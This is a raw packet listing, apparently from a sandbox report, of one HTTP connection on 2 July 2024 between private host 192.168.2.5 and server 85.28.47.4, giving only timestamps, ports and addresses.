Jul 2, 2024 04:12:07.992211103 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.992218971 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.992225885 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.992240906 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.992249966 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.992263079 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.992275000 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.992275000 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.992295027 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.992299080 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.992307901 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.992321968 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.992325068 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.992336988 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.992340088 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.992369890 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.992376089 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.992388010 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.992392063 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.992410898 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.992413044 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.992420912 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.992434978 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.992440939 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.992445946 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.992460012 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.992465019 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.992471933 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.992476940 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.992496967 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.992503881 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.992517948 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.992522955 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.992533922 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.992539883 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.992556095 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.992566109 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.992573977 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.992578983 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.992589951 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.992597103 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.992609024 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.992616892 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.992625952 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.992640972 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.082078934 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.082184076 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.082201958 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.082214117 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.082233906 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.082243919 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.082247972 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.082262993 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.082271099 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.082278013 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.082307100 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.082323074 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.082392931 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.082402945 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.082422018 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.082431078 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.082433939 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.082451105 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.082453966 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.082465887 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.082479000 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.082485914 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.082489014 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.082499027 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.082515001 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.082528114 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.082534075 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.082551956 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.082561016 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.082566977 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.082587004 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.082590103 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.082601070 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.082619905 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.082636118 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.082638025 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.082653046 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.082660913 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.082664967 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.082681894 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.082690001 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.082694054 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.082705975 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.082711935 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.082726002 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.082739115 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.082741022 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.082756042 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.082767963 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.082770109 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.082786083 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.082786083 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.082804918 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.082813978 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.082824945 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.082839966 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.082851887 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.082853079 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.082868099 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.082871914 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.082881927 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.082895041 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.082899094 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.082911968 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.082922935 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.082928896 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.082943916 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.082945108 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.082959890 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.082962036 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.082976103 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.082989931 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.083002090 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.083003044 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.083012104 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.083015919 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.083034992 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.083039999 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.083048105 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.083055973 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.083065033 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.083080053 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.083089113 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.083092928 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.083108902 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.083116055 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.083122015 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.083136082 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.083144903 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.083165884 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.083165884 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.083175898 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.083177090 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.083197117 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.083201885 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.083210945 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.083221912 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.083228111 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.083240986 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.083254099 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.083254099 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.083256960 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.083271027 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.083273888 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.083287954 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.083300114 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.083302975 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.083318949 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.083329916 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.083331108 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.083348989 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.083358049 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.083360910 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.083378077 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.083389997 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.083396912 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.083401918 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.083420992 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.083434105 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.083439112 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.083450079 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.083451986 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.083463907 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.083479881 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.083488941 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.083493948 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.083508015 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.083522081 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.083524942 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.083534002 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.083547115 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.083558083 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.083570004 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.083580017 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.083589077 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.083599091 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.083607912 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.083616018 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.083621979 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.083637953 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.083647013 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.083647966 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.083667040 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.083677053 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.083679914 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.083697081 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.083703041 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.083714008 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.083724976 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.083729982 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.083744049 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.083756924 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.083760023 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.083774090 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.083781004 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.083791971 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.083796024 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.083815098 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.083822966 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.083832979 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.083838940 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.083843946 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.083854914 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.083864927 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.083887100 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.083887100 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.083899021 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.083909988 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.083919048 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.083928108 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.083937883 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.083944082 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.083960056 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.083969116 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.083976030 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.083987951 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.083998919 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.084023952 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.171257973 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.171413898 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.171442032 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.171468019 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.171483040 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.171487093 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.171506882 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.171509027 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.171521902 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.171530962 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.171539068 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.171550989 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.171559095 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.171565056 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.171576023 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.171587944 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.171588898 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.171605110 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.171607018 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.171628952 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.171633005 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.171650887 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.171672106 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.171673059 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.171686888 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.171694994 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.171705961 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.171725988 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.171727896 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.171741009 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.171755075 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.171761036 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.171767950 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.171776056 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.171786070 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.171812057 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.171818018 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.171832085 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.171843052 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.171854019 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.171866894 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.171875954 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.171892881 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.171896935 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.171906948 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.171921968 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.171926975 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.171942949 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.171946049 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.171960115 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.171973944 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.171974897 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.171992064 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.172003984 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.172008038 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.172023058 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.172034979 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.172039032 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.172051907 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.172059059 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.172065020 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.172081947 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.172091007 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.172101974 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.172122002 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.172126055 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.172139883 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.172144890 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.172163010 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.172167063 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.172178030 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.172188997 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.172194958 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.172204971 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.172209024 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.172224045 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.172228098 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.172240973 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.172255039 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.172259092 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.172278881 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.172281981 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.172297955 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.172298908 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.172312021 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.172327042 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.172337055 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.172341108 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.172348976 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.172358990 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.172405958 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.172405958 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.172429085 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.172442913 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.172457933 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.172466040 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.172471046 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.172487974 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.172497034 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.172509909 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.172524929 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.172534943 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.172534943 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.172549009 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.172564030 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.172568083 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.172580004 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.172588110 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.172595024 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.172610998 CEST	80	49704	85.28.47.4	192.168.2.5
